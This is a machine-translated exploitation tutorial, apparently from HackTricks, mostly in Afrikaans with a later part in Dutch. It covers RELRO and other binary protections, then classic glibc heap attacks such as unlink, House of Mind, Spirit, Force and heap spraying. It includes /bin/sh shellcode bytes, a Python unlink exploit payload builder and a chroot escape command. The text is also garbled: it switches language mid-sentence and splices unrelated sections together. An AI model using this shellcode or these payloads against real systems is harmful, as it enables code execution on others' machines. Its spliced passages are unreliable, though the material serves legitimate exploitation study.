Relro (Read only Relocation) beĂŻnvloed die geheue toestemmings soortgelyk aan NX. Die verskil is dat terwyl NX die stapel uitvoerbaar maak, maak RELRO sekere dinge slegs leesbaar sodat ons nie daaraan kan skryf nie. Die mees algemene manier waarop ek gesien het dat dit 'n struikelblok is, is dat dit ons verhoed om 'n got-tabel oorskrywing te doen, wat later gedek sal word. Die got-tabel bevat adresse vir libc-funksies sodat die binĂȘre weet wat die adresse is en hulle kan aanroep. Kom ons kyk na hoe die geheue toestemmings lyk vir 'n got-tabelinskrywing vir 'n binĂȘre met en sonder relro.

Met relro:

gef➀  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➀  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➀  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sonder relro:

gef➀  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➀  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➀  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Vir die binĂȘre sonder relro, kan ons sien dat die got inskrywing adres vir fgets 0x404018 is. As ons na die geheue afbeeldings kyk, sien ons dat dit tussen 0x404000 en 0x405000 val, wat die toestemmings rw het, wat beteken dat ons daaraan kan lees en skryf. Vir die binĂȘre met relro, sien ons dat die got tabel adres vir die uitvoering van die binĂȘre (pie is geaktiveer, so hierdie adres sal verander) 0x555555557fd0 is. In daardie binĂȘre se geheue afbeelding val dit tussen 0x0000555555557000 en 0x0000555555558000, wat die geheue toestemming r het, wat beteken dat ons slegs daarvan kan lees.

Wat is die omseiling? Die tipiese omseiling wat ek gebruik, is om eenvoudig nie na geheue-areas te skryf wat relro veroorsaak om slegs leesbaar te wees nie, en 'n ander manier vind om kodering uit te voer.

Let daarop dat die binĂȘre voor die uitvoering die adresse van die funksies moet weet:

  • Luie binding: Die adres van 'n funksie word die eerste keer gesoek as die funksie geroep word. Dus moet die GOT skryftoestemmings tydens uitvoering hĂȘ.
  • Bind nou: Die adresse van die funksies word aan die begin van die uitvoering opgelos, waarna slegs leestoestemmings aan sensitiewe afdelings soos .got, .dtors, .ctors, .dynamic, .jcr gegee word. `**-z relro**y**-z now`**

Om te kontroleer of 'n program Bind nou gebruik, kan jy die volgende doen:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Wanneer die binĂȘre lĂȘer in die geheue gelaai word en 'n funksie vir die eerste keer geroep word, word daar na die PLT (Procedure Linkage Table) gespring. Van daar af word 'n sprong (jmp) na die GOT gemaak en word besef dat daardie inskrywing nie opgelos is nie (dit bevat 'n volgende adres van die PLT). Dit roep dan die Runtime Linker of rtfd aan om die adres op te los en in die GOT te stoor.

Wanneer 'n funksie geroep word, word die PLT geroep, wat die adres van die GOT bevat waar die funksie se adres gestoor word. Dit stuur die vloei daarheen en roep so die funksie aan. As dit egter die eerste keer is dat die funksie geroep word, is die GOT se inhoud die volgende instruksie van die PLT, dus volg die vloei die PLT-kode (rtfd) en vind die adres van die funksie, stoor dit in die GOT en roep dit aan.

By die laai van 'n binĂȘre lĂȘer in die geheue, het die samesteller gesĂȘ waar data geplaas moet word wanneer die program uitgevoer word.

Lui binding -> Die adres van die funksie word die eerste keer gesoek wanneer die funksie geroep word, sodat die GOT skryfregte het sodat dit daar gestoor kan word en nie weer gesoek hoef te word nie.

Bind nou -> Die adresse van die funksies word gesoek by die laai van die program en die regte van die .got, .dtors, .ctors, .dynamic, .jcr afdelings word verander na slegs lees. -z relro en -z now

Ten spyte hiervan is programme in die algemeen nie gekompliseer met hierdie opsies nie, dus bly hierdie aanvalle moontlik.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Om te bepaal of BIND_NOW gebruik word

Fortify Source -D_FORTIFY_SOURCE=1 of =2

Probeer om funksies te identifiseer wat onveilig kopieer van die een plek na die ander en vervang die funksie met 'n veilige funksie.

Byvoorbeeld:
char buf[16];
strcpy(buf, source);

Dit identifiseer dit as onveilig en vervang dan strcpy() met __strcpy_chk() deur die grootte van die buffer as die maksimum kopieergrootte te gebruik.

Die verskil tussen =1 en =2 is dat:

Die tweede staan nie toe dat %n van 'n afdeling met skryfregte kom nie. Verder kan die parameter vir direkte toegang tot argumente slegs gebruik word as die vorige gebruik is, dit wil sĂȘ, slegs %3$d kan gebruik word as %2$d en %1$d voorheen gebruik is.

Om die foutboodskap te wys, word argv[0] gebruik, dus as dit die adres van 'n ander plek (soos 'n globale veranderlike) bevat, sal die foutboodskap die inhoud van daardie veranderlike wys. Bl. 191

Vervanging van Libsafe

Dit word geaktiveer met: LD_PRELOAD=/lib/libsafe.so.2
of
"/lib/libsave.so.2" > /etc/ld.so.preload

Dit onderskep oproepe na sekere onveilige funksies met veilige funksies. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie alle kwesbare funksies word veilig gemaak nie, en LD_PRELOAD werk nie vir binĂȘre lĂȘers met suid nie).

ASCII Armored Address Space

Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n 0x00 byte is. Dit stop egter baie min aanvalle, veral in little endian.

ret2plt

Dit behels die uitvoering van 'n ROP (Return-Oriented Programming) sodat die strcpy@plt-funksie (van die plt) geroep word en dit wys na die inskrywing in die GOT en die eerste byte van die funksie wat geroep moet word (system()) gekopieer word. Dan word dieselfde proses gevolg vir GOT+1 en die tweede byte van system() word gekopieer... Uiteindelik word die adres wat in die GOT gestoor is, wat system() sal wees, geroep.

False EBP

Vir funksies wat EBP gebruik as 'n register om na die argumente te wys, moet die EBP ook verander word om na 'n geheuegebied te wys wat enige twee willekeurige bytes bevat en dan die adres van &"/bin/sh".

Chroot-kluise

debootstrap -arch=i386 hardy /home/user -> Installeer 'n basiese stelsel in 'n spesifieke subgids

'n Administrateur kan uit een van hierdie kluise ontsnap deur mkdir foo; chroot foo; cd .. te doen.

Kode-instrumentasie

Valgrind -> Soek na foute
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap-oorvloei: Basiese aanvalle

Toegewysde stuk

prev_size |
size | -Kop
*mem | Data

Vry stuk

prev_size |
size |
*fd | Wysiger na volgende stuk
*bk | Wysiger na vorige stuk -Kop
*mem | Data

Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar mag nooit twee aangrensende vry stukke wees nie (hulle word saamgevoeg).

In "size" is daar bits om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort tot die primĂȘre arena.

As 'n stuk vrygemaak word en een van die aangrensende stukke is vry, word hulle saamgevoeg deur die unlink() makro en die nuwe grootste stuk word na frontlink() gestuur om dit in die toepaslike bin in te voeg.

unlink(){
BK = P->bk; -> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD = P->fd; -> Die FD van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD->bk = BK; -> Die BK van die volgende stuk wys na die nuwe stuk
BK->fd = FD; -> Die FD van die vorige stuk wys na die nuwe stuk
}

Dus as ons die P->bk kan verander na die adres van 'n shellcode en die P->fd na die adres van 'n inskrywing in die GOT of DTORS minus 12, word die volgende bereik:

BK = P->bk = &shellcode
FD = P->fd = &dtor_end - 12
FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode

En dus sal die shellcode uitgevoer word wanneer die program afsluit.

Verder skryf die 4de instruksie van unlink() iets en die shellcode moet hiervoor aangepas word:

BK->fd = FD -> *((&shellcode + 8) = (&dtor_end - 12) -> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode af, dus moet die eerste instruksie van die shellcode 'n jmp wees om hierdie te omseil en na 'n reeks nops te spring wat na die res van die shellcode lei.

Dus die aanval word so geskep:

In buffer1 plaas ons die shellcode beginnende met 'n jmp sodat dit na die nops of die res van die shellcode sal spring shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, 1 is

fake_size = pack("<I”, 0xfffffffc) #-4, sodat dit dink dat die "size" van die 3de stuk 4 byte agter is (dit wys na prev_size) want dit is waar dit kyk of die 2de stuk vry is

addr_sc = pack("<I", 0x0804a008 + 8) #In die payload plaas ons aan die begin 8 byte vulstof

got_free = pack("<I", 0x08048300 - 12) #Adres van free() in die plt-12 (dit sal die adres wees wat oorskryf word om die shellcode die tweede keer te roep wanneer free() geroep word)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Soos gesĂȘ, begin die payload met 8 byte vulstof net omdat

payload += prev_size + fake_size + got_free + addr_sc #Die 2de stuk word gewysig, got_free wys na waar ons die adres addr_sc + 12 sal stoor

os.system("./8.3.o " + payload)

unset() in omgekeerde volgorde vrygestel (wargame)

Ons beheer 3 aaneenlopende stukke en hulle word in omgekeerde volgorde vrygestel.

In hierdie geval:

Die shellcode word in stuk c geplaas.

Ons gebruik stuk a om die b te oorskryf sodat die size die PREV_INUSE-bit gedeaktiveer het, sodat dit dink dat stuk a vry is.

Daarbenewens word die size in die b-header oorskryf om -4 te wees.

Dus, die program sal dink dat "a" vry is en in 'n bin is, en sal unlink() roep om dit te ontbind. Maar omdat die PREV_SIZE -4 is, sal dit dink dat die "a" stuk eintlik by b+4 begin. Dit beteken dat dit unlink() sal roep op 'n stuk wat by b+4 begin, dus sal die "fd" aanwysing by b+12 wees en die "bk" aanwysing by b+16.

Op hierdie manier, as ons die adres van die shellcode in bk plaas en die adres van die "puts()"-funksie -12 in fd plaas, het ons ons payload.

Frontlink-tegniek

Frontlink word geroep wanneer iets vrygestel word en geen van die aangrensende stukke vry is nie. In plaas daarvan word unlink() direk geroep.

Dit is 'n nuttige kwesbaarheid wanneer die aangevalle malloc nooit vrygestel word nie (free()).

Benodig:

'n Buffer wat oorstroom kan word met die invoerfunksie

'n Buffer wat aangrensend daaraan is en vrygestel moet word en waarvan die fd-veld van die header gewysig sal word deur die oorstroom van die vorige buffer

'n Buffer wat vrygestel moet word met 'n grootte groter as 512 maar kleiner as die vorige buffer

'n Buffer wat voor stap 3 verklaar word en wat die prev_size van hierdie buffer kan oorskryf

Op hierdie manier, deur twee mallocs op 'n ongekontroleerde manier en een op 'n beheerde manier oor te skryf, kan ons 'n exploit doen.

Double free() kwesbaarheid

As free() twee keer met dieselfde aanwysing geroep word, is daar twee bins wat na dieselfde adres wys.

As ons een weer wil gebruik, sal dit sonder probleme toegewys word. As ons 'n ander wil gebruik, sal dieselfde spasie toegewys word, sodat die "fd" en "bk" aanwysings vervals word met die data wat deur die vorige toewysing geskryf is.

After free()

'n Voorheen vrygestelde aanwysing word weer sonder beheer gebruik.

8 Heap-oorloop: Gevorderde exploits

Die Unlink() en FrontLink() tegnieke is verwyder deur die unlink()-funksie te wysig.

The house of mind

Slegs een oproep na free() is nodig om arbitrĂȘre kode uit te voer. Dit is belangrik om 'n tweede stuk te vind wat deur 'n vorige stuk oorstroom en vrygestel kan word.

'n Oproep na free() roep public_fREe(mem) aan, dit doen:

mstate ar_ptr;

mchunkptr p;




p = mem2chunk(mes); —> Gee 'n aanwysing na die adres waar die stuk begin (mem-8)




ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]




_int_free(ar_ptr, mem);

}

In [1] word die size-veld en die NON_MAIN_ARENA-bit nagegaan, wat verander kan word sodat die toets waar is en heap_for_ptr() uitgevoer word. Dit doen 'n and met "mem" en stel die minst belangrike 2.5 byte op 0 (in ons geval van 0x0804a000 na 0x08000000) en kry toegang tot 0x08000000->ar_ptr (asof dit 'n struct heap_info is).

Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer in 0x0804a000 en 'n stuk in 0x081002a0 vrygestel word, kan ons na die adres 0x08100000 gaan en skryf wat ons wil, byvoorbeeld 0x0804a000. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde bevat wat ons in 0x08100000 geskryf het (want dit pas die and toe wat ons vroeër gesien het en kry die waarde van die eerste 4 byte, die ar_ptr).

Op hierdie manier word _int_free(ar_ptr, mem) geroep, dit wil sĂȘ, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){


bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Soos ons vroeër gesien het, kan ons die waarde van av beheer, want dit is wat ons in die vrygestelde stuk skryf.

Soos unsorted_chunks gedefinieer word, weet ons dat:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Dus as ons die waarde van __DTOR_END__-12 in av->bins[2] skryf, sal dit uiteindelik in __DTOR_END__ geskryf word as die adres van die tweede stuk.

Met ander woorde, in die eerste stuk moet ons die adres van __DTOR_END__-12 aan die begin plaas, want dit is waar av->bins[2] dit sal kry.

In die adres waar die adres van die tweede stuk met Hierdie tegniek is nie meer toepaslik nie, want byna dieselfde pleister as vir unlink is toegepas. Dit vergelyk of die nuwe plek waarna dit wys, ook na hom wys.

Fastbin

Dit is 'n variasie van The House of Mind.

Ons wil die volgende kode uitvoer wat bereik word na die eerste toetsing van die _int_free() funksie:

fb = &(av->fastbins[fastbin_index(size)] —> Waar fastbin_index(sz) —> (sz >> 3) - 2

...

p->fd = *fb

*fb = p

Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, en op hierdie adres sal die oorskryfde adres geplaas word. Hiervoor is dit nodig dat die arena naby die dtors-adresse is. Meer presies, av->max_fast moet die adres wees wat ons gaan oorskryf.

Aangesien ons met The House of Mind gesien het dat ons die posisie van av beheer, as ons die grootteveld instel as 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() sal fastbins[-1] teruggee, wat na av->max_fast wys.

In hierdie geval sal av->max_fast die oorskryfde adres wees (nie waarna dit wys nie, maar daardie posisie sal oorskryf word).

Dit moet ook voldoen dat die aangrensende stuk na die vrygestelde stuk groter as 8 moet wees -> Aangesien ons gesĂȘ het dat die grootte van die vrygestelde stuk 8 is, hoef ons net 'n groter grootte as 8 in hierdie valse stuk te plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons 'n jmp aan die begin plaas wat in nops val).

Daarbenewens moet daardie valse stuk kleiner wees as av->system_mem. av->system_mem is 1848 byte verder.

As gevolg van die nulle van _DTOR_END_ en die min adres in die GOT, is geen van hierdie afdrukke geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stoor aan te val.

'n Ander manier van aanval is om die av na die stoor te rig.

As ons die grootte verander sodat dit 16 in plaas van 8 is, dan sal fastbin_index() fastbins[0] teruggee en ons kan dit gebruik om die stoor te oorskryf.

Hiervoor mag daar geen kanaries of vreemde waardes in die stoor wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET

Die 4 nulbyte is nodig omdat die av na hierdie adres sal wys en die eerste element van 'n av die mutex is wat 0 moet wees.

Die av->max_fast sal die EBP wees en dit sal 'n waarde wees wat ons sal gebruik om die beperkings te omseil.

In die av->fastbins[0] sal dit oorskryf word met die adres van p en dit sal die RET wees, sodat dit na die shellcode sal spring.

Daarbenewens sal daar in av->system_mem (1484 byte bo die posisie in die stoor) baie rommel wees wat ons sal toelaat om die toetsing wat gedoen word, te omseil.

Daarbenewens moet daardie aangrensende stuk na die vrygestelde stuk groter as 8 wees -> Aangesien ons gesĂȘ het dat die grootte van die vrygestelde stuk 16 is, hoef ons net 'n groter grootte as 8 in hierdie valse stuk te plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons 'n jmp aan die begin plaas wat in nops val wat na die grootteveld van die nuwe valse stuk kom).

The House of Spirit

In hierdie geval wil ons 'n aanpasbare malloc-aanwyser hĂȘ wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser op die stoor onder 'n moontlike oorloop na 'n veranderlike is).

Op hierdie manier kan ons hierdie aanwyser na enige plek laat wys. Nie enige plek is egter geldig nie, die grootte van die valse stuk moet kleiner wees as av->max_fast en spesifiek gelyk wees aan die grootte wat in 'n toekomstige oproep na malloc()+8 versoek word. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48.

As byvoorbeeld die program die gebruiker vra vir 'n nommer, kan ons 48 invoer en die aanpasbare malloc-aanwyser na die volgende 4 byte wys (wat dalk aan die EBP behoort, sodat die 48 agterblyf, asof dit die groottekop is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sĂȘ, 8 < ptr-4+48 < av->system_mem.

As dit voldoen word, wanneer die volgende malloc geroep word wat ons gesĂȘ het dat dit malloc(40) is, sal die adres as die EBP toegewys word. As die aanvaller ook die skryfwerk in hierdie malloc kan beheer, kan hy sowel die EBP as die EIP met die gewenste adres oorskryf.

Ek dink dit is omdat wanneer dit vrygelaat word free(), sal dit onthou dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer wil word, in die adres wat na die EBP van die stoor wys, is, sodat dit daardie adres toewys.

The House of Force

Dit is nodig:

  • 'n Oorloop na 'n stuk wat die wildernis kan oorskryf
  • 'n Oproep na malloc() met die grootte wat deur die gebruiker gedefinieer word
  • 'n Oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word

Die eerste ding wat gedoen word, is om die grootte van die wildernisstuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige geheueversoek groot genoeg in _int_malloc() hanteer sal word sonder om die heap uit te brei.

Die tweede is om av->top te verander sodat dit wys na 'n geheuegebied onder die beheer van die aanvaller, soos die stoor. In av->top word &EIP - 8 geplaas.

Ons moet av->top oorskryf sodat dit wys na die geheuegebied onder die beheer van die aanvaller:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim kry die waarde van die adres van die huidige wildernisstuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() versoek word. Dus as &EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, sal die hoeveelheid wat ons moet reserweer in die beheerde malloc om av->top te laat wys na $EIP-8 vir die volgende malloc() wees:

0xbffff224 - 0x080c2788 = 3086207644.

Dit sal die gewysigde waarde in av->top stoor en die volgende malloc sal na die EIP wys en dit kan oorskryf.

Dit is belangrik om te weet dat die grootte van die nuwe wildernisstuk groter moet wees as die versoek wat Reserveer twee mallocs, zodat de eerste kan worden overlopen nadat de tweede is vrijgegeven en in zijn bin is geplaatst (dat wil zeggen, er is een malloc gereserveerd die groter is dan het tweede stuk voordat de overflow plaatsvindt).

De malloc die wordt gegeven aan het door de aanvaller gekozen adres, wordt gecontroleerd door de aanvaller.

Het doel is als volgt: als we een overflow kunnen veroorzaken naar een heap die een vrijgegeven stuk eronder heeft en in zijn bin zit, kunnen we de bk-pointer wijzigen. Als we de bk-pointer wijzigen en dit stuk het eerste in de bin-lijst wordt en wordt gereserveerd, zal de bin worden misleid en wordt gezegd dat het laatste stuk van de lijst (de volgende die wordt aangeboden) zich op het valse adres bevindt dat we hebben ingesteld (bijvoorbeeld op de stack of GOT). Dus als er een ander stuk wordt gereserveerd en de aanvaller er machtigingen op heeft, wordt er een stuk gegeven op de gewenste positie en kan erin worden geschreven.

Na het vrijgeven van het gewijzigde stuk is het nodig om een groter stuk te reserveren dan het vrijgegeven stuk, zodat het gewijzigde stuk uit de unsorted bins komt en in zijn bin wordt geplaatst.

Eenmaal in zijn bin is het tijd om de bk-pointer te wijzigen met behulp van de overflow, zodat deze wijst naar het adres dat we willen overschrijven.

Dus de bin moet wachten tot er voldoende keren naar malloc() wordt gebeld, zodat de gewijzigde bin opnieuw wordt gebruikt en de bin wordt misleid om te geloven dat het volgende stuk zich op het valse adres bevindt. En vervolgens wordt het gewenste stuk gegeven.

Om de kwetsbaarheid zo snel mogelijk uit te voeren, zou het ideaal zijn: Reservering van het kwetsbare stuk, reservering van het stuk dat zal worden gewijzigd, dit stuk wordt vrijgegeven, een groter stuk wordt gereserveerd dan het stuk dat zal worden gewijzigd, het stuk wordt gewijzigd (kwetsbaarheid), een stuk van dezelfde grootte als het aangetaste stuk wordt gereserveerd en een tweede stuk van dezelfde grootte wordt gereserveerd en dit zal wijzen naar het gekozen adres.

Om deze aanval te beschermen, wordt de gebruikelijke controle gebruikt om te controleren of het stuk "niet" vals is: wordt gecontroleerd of bck->fd naar victim wijst. Met andere woorden, in ons geval, als de fd-pointer van het valse stuk dat op de stack wordt aangewezen naar victim wijst. Om deze bescherming te omzeilen, moet de aanvaller op de een of andere manier in staat zijn om op het juiste adres (waarschijnlijk op de stack) het adres van victim te schrijven. Zodat het eruitziet als een echt stuk.

Corruptie van LargeBin

Dezelfde vereisten als voorheen zijn nodig, plus de gereserveerde stukken moeten groter zijn dan 512.

De aanval is vergelijkbaar met de vorige, dat wil zeggen, het wijzigen van de bk-pointer en al die oproepen naar malloc() zijn nodig, maar daarnaast moet de grootte van het gewijzigde stuk worden gewijzigd, zodat size - nb < MINSIZE.

Bijvoorbeeld, stel size in op 1552 zodat 1552 - 1544 = 8 < MINSIZE (de aftrek kan niet negatief zijn omdat een unsigned wordt vergeleken).

Bovendien is er een patch toegevoegd om het nog moeilijker te maken.

Heap Spraying

Het bestaat er in wezen uit om zoveel mogelijk geheugen voor heaps te reserveren en deze te vullen met een nop-kussen gevolgd door een shellcode. Bovendien wordt 0x0c gebruikt als kussen. Er zal worden geprobeerd om naar het adres 0x0c0c0c0c te springen, zodat als een adres waar naartoe wordt gesprongen met dit kussen wordt overschreven, het daarheen zal springen. De tactiek is in feite om zoveel mogelijk te reserveren om te zien of er een pointer wordt overschreven en naar 0x0c0c0c0c te springen in de hoop dat er nops zijn.

Heap Feng Shui

Het bestaat erin om door middel van reserveringen en vrijgaven het geheugen zo te ordenen dat er gereserveerde stukken tussen de vrije stukken blijven zitten. De buffer die moet worden overlopen, wordt in een van de gaten geplaatst.

objdump -d uitvoerbaar -> Disassemblage van functies
objdump -d ./PROGRAMMA | grep FUNCTIE -> Krijg het adres van de functie
objdump -d -Mintel ./shellcodeout -> Om te controleren of het daadwerkelijk onze shellcode is en om de OpCodes te krijgen
objdump -t ./exec | grep varBss -> Symbooltabel, om het adres van variabelen en functies te krijgen
objdump -TR ./exec | grep exit(func lib) -> Om het adres van functies in bibliotheken (GOT) te krijgen
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts -> Haalt het adres van puts op dat moet worden overschreven in de GOT
objdump -D ./exec -> Disassemblage van ALLES tot de plt-ingangen
objdump -p -/exec
Info functions strncmp -> Info over de functie in gdb

Interessante cursussen

Referenties

Leer AWS-hacken van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere manieren om HackTricks te ondersteunen: